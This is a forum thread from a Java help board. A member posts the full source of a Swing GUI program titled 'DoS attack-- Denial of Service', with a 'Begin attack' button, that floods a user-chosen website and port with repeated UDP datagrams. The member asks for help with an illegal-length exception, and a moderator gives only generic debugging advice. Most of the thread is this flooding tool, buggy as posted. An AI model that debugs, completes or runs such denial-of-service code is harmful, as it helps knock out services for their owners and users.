Results 1 to 7 of 7
  1. #1
    somanayr is offline Member
    Join Date
    May 2010
    Posts
    27
    Rep Power
    0

    Default DoS attacker help, please!

    So I wrote a program that pings a server with datagrams, but I'm getting a few errors. If anyone can help, that'd be awesome!

    Java Code:
    package DoS_attacker;
    
    
    import java.awt.AWTException;
    import java.awt.Robot;
    import java.io.IOException;
    import java.net.DatagramPacket;
    import java.net.DatagramSocket;
    import java.net.InetAddress;
    import java.net.SocketException;
    import java.net.UnknownHostException;
    import java.util.logging.Level;
    import java.util.logging.Logger;
    import javax.swing.JFrame;
    
    /*
     * To change this template, choose Tools | Templates
     * and open the template in the editor.
     */
    
    /*
     * DoS_GUI.java
     *
     * Created on Jun 5, 2010, 10:24:14 PM
     */
    
    /**
     *
     * @author ramos
     */
    public class DoS_GUI extends javax.swing.JFrame {
    
        /** Creates new form DoS_GUI */
        public DoS_GUI() {
            initComponents();
        }
    
        public void ping(int number_of_pings, InetAddress IP, byte[] buffer, int port, int length, int delay){
            try {
                DatagramPacket ping = new DatagramPacket(buffer, length, IP, port);
                DatagramSocket socket = new DatagramSocket(4545);
                int loop = 1;
                int percent = 0;
                float progress_float;
                float percent_float;
                while (loop != number_of_pings) {
                    socket.send(ping);
                    progress_float = loop / number_of_pings;
                    percent_float = progress_float * 100;
                    percent = (int) percent_float;
                    ProgressBar.setValue(percent);
                    loop++;
                    Robot robot = new Robot();
                    robot.delay(delay);
                    System.out.println("pinging");
                }
            } catch (AWTException ex) {
                Logger.getLogger(DoS_GUI.class.getName()).log(Level.SEVERE, null, ex);
                Error dialog = new Error(1);
            } catch (IOException ex) {
                Logger.getLogger(DoS_GUI.class.getName()).log(Level.SEVERE, null, ex);
            }
        }
    
        /** This method is called from within the constructor to
         * initialize the form.
         * WARNING: Do NOT modify this code. The content of this method is
         * always regenerated by the Form Editor.
         */
        @SuppressWarnings("unchecked")
        // <editor-fold defaultstate="collapsed" desc="Generated Code">                          
        private void initComponents() {
    
            host_name = new javax.swing.JTextField();
            jLabel1 = new javax.swing.JLabel();
            jLabel2 = new javax.swing.JLabel();
            pings = new javax.swing.JTextField();
            jButton1 = new javax.swing.JButton();
            jButton2 = new javax.swing.JButton();
            ProgressBar = new javax.swing.JProgressBar();
            jLabel3 = new javax.swing.JLabel();
            Port_number = new javax.swing.JTextField();
            Delay = new javax.swing.JTextField();
            jLabel4 = new javax.swing.JLabel();
    
            setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
            setTitle("DoS attack-- Denial of Service");
    
            jLabel1.setText("Website name:");
    
            jLabel2.setText("# of pings:");
    
            jButton1.setText("Begin attack");
            jButton1.addMouseListener(new java.awt.event.MouseAdapter() {
                public void mouseClicked(java.awt.event.MouseEvent evt) {
                    jButton1MouseClicked(evt);
                }
            });
    
            jButton2.setText("Terms of use");
            jButton2.addMouseListener(new java.awt.event.MouseAdapter() {
                public void mouseClicked(java.awt.event.MouseEvent evt) {
                    jButton2MouseClicked(evt);
                }
            });
    
            ProgressBar.addChangeListener(new javax.swing.event.ChangeListener() {
                public void stateChanged(javax.swing.event.ChangeEvent evt) {
                    ProgressBarStateChanged(evt);
                }
            });
    
            jLabel3.setText("Port:");
    
            jLabel4.setText("Delay");
    
            javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
            getContentPane().setLayout(layout);
            layout.setHorizontalGroup(
                layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                .addGroup(layout.createSequentialGroup()
                    .addContainerGap()
                    .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
                        .addComponent(ProgressBar, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                        .addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup()
                            .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
                                .addGroup(layout.createSequentialGroup()
                                    .addComponent(jButton2)
                                    .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                                    .addComponent(jButton1)
                                    .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                                    .addComponent(jLabel2)
                                    .addGap(2, 2, 2)
                                    .addComponent(pings, javax.swing.GroupLayout.PREFERRED_SIZE, 45, javax.swing.GroupLayout.PREFERRED_SIZE))
                                .addGroup(layout.createSequentialGroup()
                                    .addComponent(jLabel1)
                                    .addGap(3, 3, 3)
                                    .addComponent(host_name)
                                    .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                                    .addComponent(jLabel3)))
                            .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
                                .addGroup(layout.createSequentialGroup()
                                    .addGap(1, 1, 1)
                                    .addComponent(jLabel4)
                                    .addGap(4, 4, 4)
                                    .addComponent(Delay, javax.swing.GroupLayout.PREFERRED_SIZE, 59, javax.swing.GroupLayout.PREFERRED_SIZE))
                                .addGroup(layout.createSequentialGroup()
                                    .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                                    .addComponent(Port_number)))))
                    .addContainerGap())
            );
            layout.setVerticalGroup(
                layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                .addGroup(layout.createSequentialGroup()
                    .addGap(21, 21, 21)
                    .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                        .addComponent(jLabel1)
                        .addComponent(host_name, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addComponent(jLabel3)
                        .addComponent(Port_number, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                    .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                    .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                        .addComponent(jButton2)
                        .addComponent(jButton1)
                        .addComponent(jLabel2)
                        .addComponent(pings, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addComponent(jLabel4)
                        .addComponent(Delay, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                    .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                    .addComponent(ProgressBar, javax.swing.GroupLayout.PREFERRED_SIZE, 20, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
            );
    
            pack();
        }// </editor-fold>                        
    
        private void ProgressBarStateChanged(javax.swing.event.ChangeEvent evt) {                                         
    
        }                                        
    
        private void jButton1MouseClicked(java.awt.event.MouseEvent evt) {                                      
                String s = host_name.getText();
                int num_ping = Integer.parseInt(pings.getText());
                byte[] buffer = new byte[256];
                int port = Integer.parseInt(Port_number.getText());
                int length = 27000;
                int delay = Integer.parseInt(Delay.getText());
                InetAddress IP;
                try {
                    IP = InetAddress.getByName(s);
                    s = IP.getHostAddress();
                    ping(num_ping, IP, buffer, port, length, delay);
                }catch (UnknownHostException ex) {
                    Logger.getLogger(DoS_GUI.class.getName()).log(Level.SEVERE, null, ex);
                    java.awt.EventQueue.invokeLater(new Runnable() {
                        public void run() {
                            InvalidWebpage dialog = new InvalidWebpage(new javax.swing.JFrame(), true);
                            dialog.setVisible(true);
                        }
                    });
                }
        }                                     
    
        private void jButton2MouseClicked(java.awt.event.MouseEvent evt) {                                      
            java.awt.EventQueue.invokeLater(new Runnable() {
                public void run() {
                    TOS dialog = new TOS(new javax.swing.JFrame(), true);
                    dialog.setVisible(true);
                }
            });
        }                                     
    
        /**
        * @param args the command line arguments
        */
        public static void main(String args[]) {
            java.awt.EventQueue.invokeLater(new Runnable() {
                public void run() {
                    new DoS_GUI().setVisible(true);
                }
            });
        }
    
        // Variables declaration - do not modify                     
        private javax.swing.JTextField Delay;
        private javax.swing.JTextField Port_number;
        private javax.swing.JProgressBar ProgressBar;
        private javax.swing.JTextField host_name;
        private javax.swing.JButton jButton1;
        private javax.swing.JButton jButton2;
        private javax.swing.JLabel jLabel1;
        private javax.swing.JLabel jLabel2;
        private javax.swing.JLabel jLabel3;
        private javax.swing.JLabel jLabel4;
        private javax.swing.JTextField pings;
        // End of variables declaration                   
    
    }
    Errors:
    Java Code:
    at java.net.DatagramPacket.setData(DatagramPacket.java:264)
            at java.net.DatagramPacket.<init>(DatagramPacket.java:116)
            at java.net.DatagramPacket.<init>(DatagramPacket.java:157)
            at DoS_attacker.DoS_GUI.ping(DoS_GUI.java:40)
            at DoS_attacker.DoS_GUI.jButton1MouseClicked(DoS_GUI.java:192)
            at DoS_attacker.DoS_GUI.access$000(DoS_GUI.java:31)
            at DoS_attacker.DoS_GUI$1.mouseClicked(DoS_GUI.java:96)
            at java.awt.AWTEventMulticaster.mouseClicked(AWTEventMulticaster.java:270)
            at java.awt.Component.processMouseEvent(Component.java:6111)
            at javax.swing.JComponent.processMouseEvent(JComponent.java:3267)
            at java.awt.Component.processEvent(Component.java:5873)
            at java.awt.Container.processEvent(Container.java:2105)
            at java.awt.Component.dispatchEventImpl(Component.java:4469)
            at java.awt.Container.dispatchEventImpl(Container.java:2163)
            at java.awt.Component.dispatchEvent(Component.java:4295)
            at java.awt.LightweightDispatcher.retargetMouseEvent(Container.java:4461)
            at java.awt.LightweightDispatcher.processMouseEvent(Container.java:4134)
            at java.awt.LightweightDispatcher.dispatchEvent(Container.java:4055)
            at java.awt.Container.dispatchEventImpl(Container.java:2149)
            at java.awt.Window.dispatchEventImpl(Window.java:2478)
            at java.awt.Component.dispatchEvent(Component.java:4295)
            at java.awt.EventQueue.dispatchEvent(EventQueue.java:604)
            at java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:275)
            at java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:200)
            at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:190)
            at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:185)
            at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:177)
            at java.awt.EventDispatchThread.run(EventDispatchThread.java:138)
    Because you're wasting your own time to help me, I've post where the first two errors that occur in this file are.

    Java Code:
    public void ping(int number_of_pings, InetAddress IP, byte[] buffer, int port, int length, int delay){
            try {
                DatagramPacket ping = new DatagramPacket(buffer, length, IP, port); //<---- Error
                DatagramSocket socket = new DatagramSocket(4545);
                int loop = 1;
                int percent = 0;
                float progress_float;
                float percent_float;
                while (loop != number_of_pings) {
                    socket.send(ping);
                    progress_float = loop / number_of_pings;
                    percent_float = progress_float * 100;
                    percent = (int) percent_float;
                    ProgressBar.setValue(percent);
                    loop++;
                    Robot robot = new Robot();
                    robot.delay(delay);
                    System.out.println("pinging");
                }
            } catch (AWTException ex) {
                Logger.getLogger(DoS_GUI.class.getName()).log(Level.SEVERE, null, ex);
                Error dialog = new Error(1);
            } catch (IOException ex) {
                Logger.getLogger(DoS_GUI.class.getName()).log(Level.SEVERE, null, ex);
            }
        }
    Java Code:
    private void jButton1MouseClicked(java.awt.event.MouseEvent evt) {                                      
                String s = host_name.getText();
                int num_ping = Integer.parseInt(pings.getText());
                byte[] buffer = new byte[256];
                int port = Integer.parseInt(Port_number.getText());
                int length = 27000;
                int delay = Integer.parseInt(Delay.getText());
                InetAddress IP;
                try {
                    IP = InetAddress.getByName(s);
                    s = IP.getHostAddress();
                    ping(num_ping, IP, buffer, port, length, delay); //<---- Error!
                }catch (UnknownHostException ex) {
                    Logger.getLogger(DoS_GUI.class.getName()).log(Level.SEVERE, null, ex);
                    java.awt.EventQueue.invokeLater(new Runnable() {
                        public void run() {
                            InvalidWebpage dialog = new InvalidWebpage(new javax.swing.JFrame(), true);
                            dialog.setVisible(true);
                        }
                    });
                }
        }
    Thanks for the help :D

  2. #2
    Norm's Avatar
    Norm is offline Moderator
    Join Date
    Jun 2008
    Location
    SW Missouri
    Posts
    17,308
    Rep Power
    25

    Default

    You left off the text of the error message!
    You've only given the call stack.

  3. #3
    somanayr is offline Member
    Join Date
    May 2010
    Posts
    27
    Rep Power
    0

    Default

    Quote Originally Posted by Norm View Post
    You left off the text of the error message!
    You've only given the call stack.
    :$

    Java Code:
    Exception in thread "AWT-EventQueue-0" java.lang.IllegalArgumentException: illegal length or offset
    That was there all along ;)

    Thanks for pointing that out. Does that help with finding the error?
    Last edited by somanayr; 06-06-2010 at 06:43 PM.

  4. #4
    Norm's Avatar
    Norm is offline Moderator
    Join Date
    Jun 2008
    Location
    SW Missouri
    Posts
    17,308
    Rep Power
    25

    Default

    That was there all along
    I guess I'm blind. My Search doesn't see it either.
    java.lang.IllegalArgumentException: illegal length or offset
    To see what the problem is you need to Print out all of the values passed to the method/constructor.

  5. #5
    somanayr is offline Member
    Join Date
    May 2010
    Posts
    27
    Rep Power
    0

    Default

    Quote Originally Posted by Norm View Post
    I guess I'm blind. My Search doesn't see it either.
    Notice the " ;) " XD
    To see what the problem is you need to Print out all of the values passed to the method/constructor.
    Okay. I'll do that.

  6. #6
    somanayr is offline Member
    Join Date
    May 2010
    Posts
    27
    Rep Power
    0

    Default

    I edited the code so that you put in the IP address (fewer places for errors)
    Java Code:
    InetAddress IP_address = InetAddress.getByName(s);
    s = IP_address.getHostAddress();
    System.out.println(IP_address.toString());
    Where s is a string defined by the user

    Prints a "/" then the IP. So that's my problem. When I tried it before, it would print websitename/IP.

    How do I fix that?
    Last edited by somanayr; 06-06-2010 at 07:43 PM.

  7. #7
    somanayr is offline Member
    Join Date
    May 2010
    Posts
    27
    Rep Power
    0

    Default

    It looks like just about any way I do it, if you print the IP before running it through my ping function, it's normal. then if you print it after, it has a slash first.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •